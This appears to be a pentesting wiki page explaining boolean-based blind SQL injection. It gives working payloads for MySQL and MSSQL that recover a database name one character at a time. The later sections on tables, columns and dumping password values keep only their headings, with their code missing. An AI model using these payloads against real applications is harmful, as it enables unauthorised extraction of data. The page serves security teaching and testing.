Boolean Based
Theory
Boolean-based SQL injection is a technique that relies on sending an SQL query to the database based on which the technique forces the application to return different results. The result allows an attacker to judge whether the payload used returns true or false. Even though no data from the database are recovered, the results give the attacker valuable information. Depending on the boolean result (TRUE or FALSE), the content within the response will change, or remain the same.
Practice
We can use a script (Python) similar to the one below, to automate the process of dumping the database trough blind SQLi.
Getting database
First, retrieve the database length:
1' AND (SELECT LENGTH(database()))=1-- - #False
1' AND (SELECT LENGTH(database()))=2-- - #False
1' AND (SELECT LENGTH(database()))=3-- - #True -> length of database is 3 characters.Second, retrieve the database name:
--True -> It means the first character is p.
1' AND (SELECT HEX(SUBSTRING(database(), 1, 1)))=HEX('p')-- -
1' AND (SELECT ASCII(SUBSTRING(database(), 1, 1)))=112-- - #ASCII code is in decimal
--True -> It means the second character is w.
1' AND (SELECT HEX(SUBSTRING(database(), 2, 1)))=HEX('w')-- -
--True -> It means the third character is n.
1' AND (SELECT HEX(SUBSTRING(database(), 3, 1)))=HEX('n')-- -First, retrieve the database length:
1' AND (SELECT LEN(DB_NAME()))=1-- #False
1' AND (SELECT LEN(DB_NAME()))=2-- #False
1' AND (SELECT LEN(DB_NAME()))=3-- #True -> It means the length of database is 3 characters.Second, retrieve the database name:
--True -> It means the first character is p. Note that ASCII code is in decimal
1' AND (SELECT ASCII(SUBSTRING(DB_NAME(), 1, 1)))=112--
--True -> It means the second character is s.
1' AND (SELECT ASCII(SUBSTRING(DB_NAME(), 2, 1)))=115--
--True -> It means the third character is s.
1' AND (SELECT ASCII(SUBSTRING(DB_NAME(), 3, 1)))=115--First, retrieve the database length:
Second, retrieve the database name:
First, retrieve the database length:
Second, retrieve the database name:
Principal database is call main, but It's possible that multiple database file are open, you can find their name's lenght like this :
Second, retrieve the name of database:
Getting Tables
First, retrieve the number of tables:
Second, retrieve length of each table
Third, retrieve name of each table
First, retrieve the number of tables:
Second, retrieve length of each table
Third, retrieve name of each table
First, retrieve the number of tables:
Second, retrieve length of each table
Third, retrieve name of each table
First, retrieve the number of tables:
Second, retrieve length of each table
Third, retrieve name of each table
First, retrieve the number of tables:
Second, retrieve length of each table
Third, retrieve name of each table
Getting Columns
First, retrieve the number of columns:
Second, retrieve length of each column
Third, retrieve name of each column
First, retrieve the number of columns:
Second, retrieve length of each columns
Third, retrieve name of each columns
First, retrieve the number of columns:
Second, retrieve length of each column
Third, retrieve name of each column
First, retrieve the number of columns:
Second, retrieve length of each column
Third, retrieve name of each column
Enumeration of colums is a bit differents in SQLite. We have to enum the sqlite_schema.sql fields that stores SQL text that describes the object. This SQL text is a CREATE TABLE, CREATE VIRTUAL TABLE, CREATE INDEX, CREATE VIEW, or CREATE TRIGGER statement that if evaluated against the database file when it is the main database of a database connection would recreate the object.
We can send the following queries to retrieve it
Dump values
First, retrieve the length of the value (we take password column as example):
Second, retrieve values
First, retrieve the length of the value (we take password column as example):
Second, retrieve values
First, retrieve the length of the value (we take password column as example):
Second, retrieve values
First, retrieve the length of the value (we take password column as example):
Second, retrieve values
First, retrieve the length of the value (we take password column as example):
Second, retrieve values
Resources
Last updated
Was this helpful?